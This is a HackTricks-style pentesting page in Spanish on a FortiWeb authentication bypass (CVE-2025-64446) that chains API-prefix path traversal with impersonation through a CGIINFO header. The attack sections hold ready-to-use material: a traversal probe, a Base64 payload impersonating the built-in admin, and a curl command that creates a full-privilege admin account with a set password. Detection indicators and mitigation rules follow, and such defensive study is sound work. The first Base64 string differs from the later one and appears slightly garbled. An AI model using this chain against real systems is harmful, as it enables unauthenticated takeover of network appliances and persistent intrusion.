Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Descripción general

Fortinet FortiWeb expone un despachador CGI centralizado en /cgi-bin/fwbcgi. Una cadena de dos bugs permite a un atacante remoto no autenticado:

  • Alcanzar fwbcgi iniciando la URL con un prefijo API válido y recorriendo directorios.
  • Suplantar a cualquier usuario (incluyendo el admin incorporado) proporcionando un HTTP header especial que el CGI acepta como identidad.

Aviso del proveedor: FG‑IR‑25‑910 (CVE‑2025‑64446). Se ha observado explotación en Internet para crear usuarios admin persistentes.

Versiones afectadas (según lo documentado públicamente):

  • 8.0 < 8.0.2
  • 7.6 < 7.6.5
  • 7.4 < 7.4.10
  • 7.2 < 7.2.12
  • 7.0 < 7.0.12
  • 6.4 ≤ 6.4.3
  • 6.3 ≤ 6.3.23

FortiWeb 8.0.2 devuelve HTTP 403 para la prueba de traversal que aparece abajo.

Prueba rápida de la vulnerabilidad

  • Path traversal desde el prefijo API hasta fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
  • Interpretación: HTTP 200 → probablemente vulnerable; HTTP 403 → parcheado.

Cadena de causa raíz

  1. API-prefix path traversal to internal CGI
  • Cualquier ruta de petición que comience con un prefijo de API válido de FortiWeb (p. ej., /api/v2.0/cmdb/ o /api/v2.0/cmd/) puede realizar path traversal con ../ hasta /cgi-bin/fwbcgi.
  1. Minimal-body validation bypass
  • Una vez que se alcanza fwbcgi, una primera puerta realiza una comprobación JSON permisiva indexada por un archivo por ruta bajo /var/log/inputcheck/. Si el archivo está ausente, la comprobación pasa inmediatamente. Si está presente, el body solo necesita ser JSON válido. Usa {} como body mínimo válido.
  1. Header-driven user impersonation
  • El programa lee la variable de entorno CGI HTTP_CGIINFO (derivada del header HTTP CGIINFO), la decodifica en Base64, parsea JSON y copia atributos directamente en el contexto de login, estableciendo el domain/VDOM. Claves de interés:
  • username, loginname, vdom, profname
  • Ejemplo de JSON para suplantar al administrador integrado:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}

Base64 de lo anterior (tal como se utiliza en entornos reales):

eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb201OiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==

Patrón de abuso de extremo a extremo (sin autenticar → admin)

  1. Llega a /cgi-bin/fwbcgi vía un API-prefix traversal.
  2. Proporciona cualquier cuerpo JSON válido (p. ej., {}) para satisfacer la comprobación de entrada.
  3. Envía la cabecera CGIINFO: <base64(json)> donde el JSON define la identidad objetivo.
  4. Haz POST del JSON de backend esperado por fwbcgi para realizar acciones privilegiadas (p. ej., crear un usuario admin para persistencia).

PoC cURL mínimo

  • Probe traversal exposure:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
  • Suplantar a admin y crear un nuevo usuario local admin:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='

curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'

Notas:

  • Cualquier cuerpo JSON válido es suficiente (p. ej., {}) si /var/log/inputcheck/<path>.json no existe.
  • El esquema de acción es interno de FortiWeb; el ejemplo anterior añade un administrador local con privilegios completos.

Detección

  • Requests reaching /cgi-bin/fwbcgi via API-prefix paths containing ../ (e.g., /api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi).
  • Presence of header CGIINFO with Base64 JSON containing keys username/loginname/vdom/profname.
  • Backend artifacts:
  • Per-path files under /var/log/inputcheck/ (gate configuration).
  • Unexpected admin creation and configuration changes.
  • Rapid validation: the traversal probe returning 200 (exposed) vs 403 (blocked in fixed builds).

Mitigación

  • Actualice a versiones corregidas (ejemplos: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) según el aviso del proveedor.
  • Hasta que se aplique el parche:
  • No exponga el plano de gestión de FortiWeb a redes no confiables.
  • Agregue reglas en el reverse-proxy/WAF para bloquear:
  • Paths that start with /api/ and contain ../cgi-bin/fwbcgi.
  • Requests carrying a CGIINFO header.
  • Supervise y genere alertas sobre los indicadores de detección anteriores.

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks